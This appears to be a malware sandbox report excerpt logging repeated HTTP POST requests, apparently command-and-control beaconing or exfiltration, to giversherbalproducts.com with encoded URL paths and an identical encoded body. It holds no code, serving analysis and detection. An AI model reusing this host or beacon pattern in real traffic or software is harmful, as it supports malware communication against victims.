Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ARIOfBYGO3o7KnIbB349AA84dDZCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/AhIaKCwxEn8qPXsYQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DwsdInwaBgE7GDJDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PyM9GiM9IQJ/HHodGDQ1MT5CfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PQQALnsHHi0AAgZDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DRM6CwovIR08KgAtAy0Ffhp6RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OnpzfCgTHXM2GH48fT0MGgQ8Gy4OOEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ARIOfBYGO3o7KnIbB349AA84dDZCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JQ0uHDszfz1/KBIBKQ4kO31CfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DwsdInwaBgE7GDJDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PQQALnsHHi0AAgZDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DnIfACIKED4/Fx0AO0V+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OnpzfCgTHXM2GH48fT0MGgQ8Gy4OOEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Oj4sHA4ELXo6PSIABXx7E3hyFCsJInNFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/exkIDX8xAQ0WKxgBGi96Lh4ZOTkyIUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JQ0uHDszfz1/KBIBKQ4kO31CfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GyY/RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DnIfACIKED4/Fx0AO0V+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Pi5+CRocDj44DiwHHT85Jh8GfHwSJyEFPkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Oj4sHA4ELXo6PSIABXx7E3hyFCsJInNFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Egw7CQknICw7PAp7CiIqPSAbRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/exkIDX8xAQ0WKxgBGi96Lh4ZOTkyIUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CHoveXt4Ph4VAyEJexQZBz86dQwqDQEkNxwhI0V+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GyY/RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EgV4KAUtCD4PID17LglGenN5Yn59cmV+YXg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PQUmKB0TEgU/Ng5+BQQdIEN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Pi5+CRocDj44DiwHHT85Jh8GfHwSJyEFPkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EQkJICsCISkfGjF4IHgXL0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Egw7CQknICw7PAp7CiIqPSAbRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/chwzH0Z6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CHoveXt4Ph4VAyEJexQZBz86dQwqDQEkNxwhI0V+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LRkqBRs9LQ4/JSIvBDw3KCwJIntCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EgV4KAUtCD4PID17LglGenN5Yn59cmV+YXg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MRMKDjY/IhkIGhgGHi8tCCENKRcdPR0dRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PQUmKB0TEgU/Ng5+BQQdIEN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KgUKfiUpewUIDBN5PRx9e0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eHMTeicjLSU2ewYseiU7enIEAAQvPkJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EQkJICsCISkfGjF4IHgXL0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ch0sAS4NeiYGBAoeHCh7eAUtIA4aOSQPeBwFQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/chwzH0Z6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
